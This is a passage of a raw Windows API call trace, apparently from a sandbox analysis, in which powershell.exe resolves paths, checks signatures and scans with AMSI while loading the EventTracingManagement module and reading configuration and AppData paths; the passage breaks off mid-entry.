lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x66 [0106.740] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x66, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", lpFilePart=0x0) returned 0x65 [0106.740] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x66 [0106.740] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x66, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", lpFilePart=0x0) returned 0x65 [0106.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dc9c) returned 1 [0106.740] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843dd18 | out: lpFileInformation=0x843dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f83d66, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x71f83d66, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x71f83d66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5ad)) returned 1 [0106.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dc98) returned 1 [0106.740] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x66 [0106.740] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x66, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", lpFilePart=0x0) returned 0x65 [0106.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dc70) returned 1 [0106.740] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x994 [0106.740] GetFileType (hFile=0x994) returned 0x1 [0106.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dc6c) returned 1 [0106.740] GetFileType (hFile=0x994) returned 0x1 [0106.740] WTGetSignatureInfo () returned 0x0 [0106.912] CertDuplicateCertificateContext (pCertContext=0x737c5f8) returned 0x737c5f8 [0106.912] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dcd4 | out: phkResult=0x843dcd4*=0x858) returned 0x0 [0106.912] RegQueryValueExW (in: hKey=0x858, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x0, lpcbData=0x843dcf0*=0x0 | out: lpType=0x843dcf4*=0x1, lpData=0x0, lpcbData=0x843dcf0*=0x56) returned 0x0 [0106.912] RegQueryValueExW (in: hKey=0x858, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x545bb74, lpcbData=0x843dcf0*=0x56 | out: lpType=0x843dcf4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843dcf0*=0x56) returned 0x0 [0106.912] RegCloseKey (hKey=0x858) returned 0x0 [0106.912] CoTaskMemAlloc (cb=0x10) returned 0x7684920 [0106.912] CoTaskMemAlloc (cb=0x30) returned 0x740cfa8 [0106.912] WinVerifyTrust () returned 0x0 [0106.913] CoTaskMemFree (pv=0x740cfa8) [0106.913] CoTaskMemFree (pv=0x7684920) [0106.913] CertFreeCertificateContext (pCertContext=0x737c5f8) returned 1 [0106.913] CloseHandle (hObject=0x994) returned 1 [0106.914] AmsiOpenSession () returned 0x0 [0106.914] AmsiScanString () returned 0x80070015 [0107.076] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\en-US\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\en-us\\eventtracingmanagement.psd1")) returned 0xffffffff [0107.076] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\en\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\en\\eventtracingmanagement.psd1")) returned 0xffffffff [0107.076] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x66 [0107.076] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x66, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", lpFilePart=0x0) returned 0x65 [0107.076] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0107.076] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", lpFilePart=0x0) returned 0x49 [0107.077] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d6e0 | out: phkResult=0x843d6e0*=0x994) returned 0x0 [0107.077] RegQueryValueExW (in: hKey=0x994, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x0, lpcbData=0x843d6fc*=0x0 | out: lpType=0x843d700*=0x1, lpData=0x0, lpcbData=0x843d6fc*=0x56) returned 0x0 [0107.077] RegQueryValueExW (in: hKey=0x994, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x5464634, lpcbData=0x843d6fc*=0x56 | out: lpType=0x843d700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d6fc*=0x56) returned 0x0 [0107.077] RegCloseKey (hKey=0x994) returned 0x0 [0107.079] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.Types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.types.ps1xml")) returned 0x20 [0107.085] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.Types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.types.ps1xml")) returned 0x20 [0107.086] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.Types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.types.ps1xml")) returned 0x20 [0107.086] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d6e0 | out: phkResult=0x843d6e0*=0x994) returned 0x0 [0107.087] RegQueryValueExW (in: hKey=0x994, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x0, lpcbData=0x843d6fc*=0x0 | out: lpType=0x843d700*=0x1, lpData=0x0, lpcbData=0x843d6fc*=0x56) returned 0x0 [0107.087] RegQueryValueExW (in: hKey=0x994, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x5475378, lpcbData=0x843d6fc*=0x56 | out: lpType=0x843d700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d6fc*=0x56) returned 0x0 [0107.087] RegCloseKey (hKey=0x994) returned 0x0 [0107.088] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_autologgerconfig_v1.0.format.ps1xml")) returned 0x20 [0107.091] CoTaskMemFree (pv=0x73bdae8) [0107.091] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0107.091] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0107.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0107.091] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0107.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0107.092] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0107.092] WTGetSignatureInfo () returned 0x0 [0107.218] CertDuplicateCertificateContext (pCertContext=0x737c918) returned 0x737c918 [0107.218] WinVerifyTrust () returned 0x0 [0107.220] CoTaskMemFree (pv=0x740cfa8) [0107.220] CoTaskMemFree (pv=0x7684a40) [0107.220] CertFreeCertificateContext (pCertContext=0x737c918) returned 1 [0107.220] CloseHandle (hObject=0x994) returned 1 [0107.220] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceSession_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6a [0107.220] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceSession_v1.0.cdxml", nBufferLength=0x6a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceSession_v1.0.cdxml", lpFilePart=0x0) returned 0x69 [0107.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0107.220] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceSession_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_etwtracesession_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x994 [0107.220] GetFileType (hFile=0x994) returned 0x1 [0107.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0107.220] GetFileType (hFile=0x994) returned 0x1 [0107.220] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0107.220] ReadFile (in: hFile=0x994, lpBuffer=0x54b16a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x54b16a0*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0107.221] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1000 [0107.221] ReadFile (in: hFile=0x994, lpBuffer=0x54b16a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x54b16a0*, lpNumberOfBytesRead=0x843d390*=0xaa1, lpOverlapped=0x0) returned 1 [0107.221] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1aa1 [0107.221] ReadFile (in: hFile=0x994, lpBuffer=0x54b0ce1, nNumberOfBytesToRead=0x15f, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x54b0ce1*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0107.221] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1aa1 [0107.221] ReadFile (in: hFile=0x994, lpBuffer=0x54b16a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x54b16a0*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0107.221] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0107.221] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0107.221] CoTaskMemFree (pv=0x73c10d0) [0107.221] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0107.221] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0107.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0107.221] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0107.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0107.221] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0107.460] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x843c64c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0107.461] CoTaskMemAlloc (cb=0x20c) returned 0x73bea00 [0107.461] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x73bea00, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0107.462] CoTaskMemFree (pv=0x73bea00) [0107.463] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0107.463] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0107.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x843c9ac | out: lpFileInformation=0x843c9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0107.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x843c648, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0107.467] CoTaskMemAlloc (cb=0x20c) returned 0x73c1520 [0107.467] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x73c1520, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0107.467] CoTaskMemFree (pv=0x73c1520) [0107.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0107.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0107.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x843c5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0107.468] CoTaskMemAlloc (cb=0x20c) returned 0x73bf918 [0107.468] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x73bf918, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0107.468] CoTaskMemFree (pv=0x73bf918) [0107.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0107.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0107.468] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x54d9f78, puLen=0x843ca8c) returned 1 [0107.468] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x54d9fcc, puLen=0x843ca8c) returned 1 [0107.468] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x54da014, puLen=0x843ca8c) returned 1 [0107.469] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x54da07c, puLen=0x843ca8c) returned 1 [0107.469] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x54da0b8, puLen=0x843ca8c) returned 1 [0107.469] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x54da13c, puLen=0x843ca8c) returned 1 [0107.469] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x54da184, puLen=0x843ca8c) returned 1 [0107.469] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x54da1f4, puLen=0x843ca8c) returned 1 [0107.469] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x0, puLen=0x843ca8c) returned 0 [0107.469] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x0, puLen=0x843ca8c) returned 0 [0107.469] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x0, puLen=0x843ca8c) returned 0 [0107.469] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x843ca90, puLen=0x843ca8c | out: lplpBuffer=0x843ca90*=0x0, puLen=0x843ca8c) returned 0 [0107.469] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x843ca84, puLen=0x843ca80 | out: lplpBuffer=0x843ca84*=0x54da250, puLen=0x843ca80) returned 1 [0107.469] VerLanguageNameW (in: wLang=0x409, szLang=0x843c814, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0107.469] VerQueryValueW (in: pBlock=0x54d9ec0, lpSubBlock="\\", lplpBuffer=0x843ca94, puLen=0x843ca90 | out: lplpBuffer=0x843ca94*=0x54d9ee8, puLen=0x843ca90) returned 1 [0107.470] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x73c1520 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0107.474] CoTaskMemFree (pv=0x73c1520) [0107.474] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x20 [0107.474] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x20, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming", lpFilePart=0x0) returned 0x1f [0107.474] CoTaskMemAlloc (cb=0x20c) returned 0x73c1520 [0107.474] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x73c1520 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0107.475] CoTaskMemFree (pv=0x73c1520) [0107.475] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1e [0107.475] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x1e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0107.475] GetCurrentProcess () returned 0xffffffff [0107.475] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843ca50 | out: TokenHandle=0x843ca50*=0x8e8) returned 1 [0107.476] GetCurrentProcess () returned 0xffffffff [0107.476] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843ca50 | out: TokenHandle=0x843ca50*=0x9fc) returned 1 [0107.477] GetCurrentProcess () returned 0xffffffff [0107.477] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843c908 | out: TokenHandle=0x843c908*=0x9e4) returned 1 [0107.477] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft_Corporation\\DefaultDomain_Path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config" (normalized: 